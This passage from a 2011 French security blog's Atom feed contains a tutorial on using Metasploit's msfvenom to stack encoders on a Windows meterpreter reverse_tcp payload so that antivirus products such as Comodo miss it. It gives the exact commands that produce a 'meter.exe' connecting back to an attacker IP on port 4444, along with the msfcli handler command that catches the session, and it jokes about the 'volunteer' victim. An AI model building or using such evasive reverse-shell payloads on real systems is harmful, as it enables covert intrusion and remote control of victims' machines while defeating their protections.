Twitter en perl">Notification Ossec sur Twitter en perl</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/#comments" thr:count="1" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/feed/atom/" thr:count="1" />
		<thr:total>1</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Metasploit : Utilisation de msfvenom pour encoder les payloads]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/PO-KZY6NTRY/" />
		<id>http://blog.gaetan-grigis.eu/?p=1101</id>
		<updated>2011-07-20T08:03:54Z</updated>
		<published>2011-06-28T18:26:14Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Sécurité" /><category scheme="http://blog.gaetan-grigis.eu" term="encodage" /><category scheme="http://blog.gaetan-grigis.eu" term="metasploit" /><category scheme="http://blog.gaetan-grigis.eu" term="meterpreter" /><category scheme="http://blog.gaetan-grigis.eu" term="reverse" />		<summary type="html"><![CDATA[Plop à tous &#8230; Dans la suite de mon article sur &#171;&#160;le hacking facile&#160;&#187; avec metasploit et meterpreter, voici venu celui avec l&#8217;encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j&#8217;ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/"><![CDATA[<p>Plop à tous &#8230;</p>
<p>Dans la suite de mon article sur &laquo;&nbsp;le hacking facile&nbsp;&raquo; avec <a href="http://blog.gaetan-grigis.eu/systeme/metasploit-et-meterpreter-pour-du-piratage-facile/">metasploit et meterpreter</a>, voici venu celui avec l&#8217;encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j&#8217;ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper des msfencode en format raw bousillait la payload, mes tests étaient pourtant concluant lors de l&#8217;écriture de l&#8217;article (j&#8217;ai peut-être du me gourrer de payloads mais &#8230; simple question de logique : à quoi d&#8217;autre pouvait donc servir le format raw ?).</p>
<p>Une autre méthode (officielle et plus propre que celle-ci est dispo en anglais : http://www.room362.com/blog/2011/7/17/metasploit-payloads-explained-part-1b.html)<br />
<span id="more-1101"></span><br />
Depuis la dernière version de metasploit un nouvel outil pour encoder est apparu : <a href="https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom">msfvenom</a> (une fusion de msfpayload et msfencode), et j&#8217;ai donc voulu tester si ce nouvel outil était lui aussi capable de piper les encodages &#8230; et la réponse est Oui ^^.</p>
<p>Alors à quoi ça sert de piper les encodages ? De nombreux antivirus détecte généralement le premier encodage des payloads metasploit, mais si l&#8217;on en met plusieurs à la suite, certain antivirus deviennent inefficace (comme l&#8217;antivirus Comodo à mon grand regret :s).</p>
<p>De base, msfvenom s&#8217;utilise ainsi : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -p <span class="sy0">&lt;</span>PAYLOAD<span class="sy0">&gt;</span> -e <span class="sy0">&lt;</span>ENCODER<span class="sy0">&gt;</span> -f <span class="sy0">&lt;</span>FORMAT DE SORTIE<span class="sy0">&gt;</span> <span class="sy0">&gt;</span> nomdefichier</div>
</li>
</ol>
</div>
<p>Pour lister les encodages, les nops et les payloads, vous pouvez faire un : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -l</div>
</li>
</ol>
</div>
<p>Et y&#8217;a de tout : du linux, du windows, du mac, du php, &#8230;</p>
<p>On peut aussi utiliser les options -x et -k pour <a href="http://pauldotcom.com/2010/02/bypassing-av-with-msfencode--x.html">utiliser des templates</a> et contourner certain antivirus en utilisant des executables windows de confiances.</p>
<p>Et pour piper les encodage ?</p>
<p>Pour le premier msfvenom on spécifie la payload, ici un reverse_tcp pour meterpreter, au format raw, l&#8217;encodage (et son itération si l&#8217;envie vous en prend <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), et pour le second on fournit la platforme et l&#8217;architecture, ainsi que notre encodage et le format (du moment que l&#8217;on reste en raw on devrait pouvoir les piper).</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -p windows<span class="sy0">/</span>meterpreter<span class="sy0">/</span>reverse_tcp -f raw -e x86<span class="sy0">/</span>jmp_call_additive <span class="re2">LHOST=</span><span class="sy0">&lt;</span>NOTRE IP<span class="sy0">&gt;</span> <span class="sy0">|</span> msfvenom -e x86<span class="sy0">/</span>shikata_ga_nai -a x86 &#8211;platform windows -f exe <span class="sy0">&gt;</span> meter.exe</div>
</li>
</ol>
</div>
<p>Et un executable devrait ressortir, ici meter.exe (si cet executable est lancé sur le PC d&#8217;une victime (volontaire <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), son pc devrait essayer de se connecter sur 192.168.1.12 et sur le port 4444 pour lancer une session meterpreter).</p>
<p>La récupération de la session se fait en utilisant le multi/handler<br />
soit en passant par msfconsole :<br />
<img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/06/msf-multi-handler.png" alt="" title="msf-multi-handler" width="596" height="597" class="aligncenter size-full wp-image-1102" /></p>
<p>soit plus rapidement en passant par msfcli (beaucoup plus rapide) : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfcli multi<span class="sy0">/</span>handler <span class="re2">payload=</span>windows<span class="sy0">/</span>meterpreter<span class="sy0">/</span>reverse_tcp <span class="re2">lhost=</span><span class="nu0">192.168</span><span class="nu0">.1</span><span class="nu0">.12</span> E</div>
</li>
</ol>
</div>
<p>Donc voilà, j&#8217;ai peut être pu me tromper dans mon précédent article, mais maintenant, c&#8217;est officiel, on peut piper du venom ^^.</p>
<p>Bon amusement <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Petite note sur les anti-virus suite à ce test :<br />
Avant ce test, je comptais utiliser Comodo, l&#8217;antivirus/firewall (avec HIPS et sandboxing) qui semblait pas mal efficace, pour remplacer avast qui me semblait pas au top, après le test des encodages de payloads je pense que je vais rester sur avast : il détecte direct la payloads, alors que comodo ne dit rien du tout :s &#8230; (et comodo est plutôt lourd et à tendance à tout sandboxer).</p>
<p>A noter que la dernière version d&#8217;<a href="http://support.avast.com/index.php?_m=knowledgebase&#038;_a=viewarticle&#038;kbarticleid=455#idt_09">Avast comporte un système de sandboxing</a>, reste à voir si il est performant &#8230; celui de Comodo est lourd à souhait :s.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1101">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/sortie-de-metasploit-32/" rel="bookmark" title="Permanent Link: Sortie de Metasploit 3.2">Sortie de Metasploit 3.2</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/metasploit-et-meterpreter-pour-du-piratage-facile/" rel="bookmark" title="Permanent Link: Metasploit et Meterpreter pour du piratage facile ?">Metasploit et Meterpreter pour du piratage facile ?</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/un-projet-de-scanneur-de-vulnerabilite-web-open-source/" rel="bookmark" title="Permanent Link: Un projet de scanneur de vulnérabilités web open source">Un projet de scanneur de vulnérabilités web open source</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/pourrir-des-votes-avec-bash-et-wget/" rel="bookmark" title="Permanent Link: Pourrir des votes avec bash et wget">Pourrir des votes avec bash et wget</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/</feedburner:origLink></entry>
	</feed><!-- Dynamic page generated in 2.400 seconds. --><!-- Cached page generated by WP-Super-Cache on 2012-05-27 17:26:28 --><!-- Compression = gzip -->

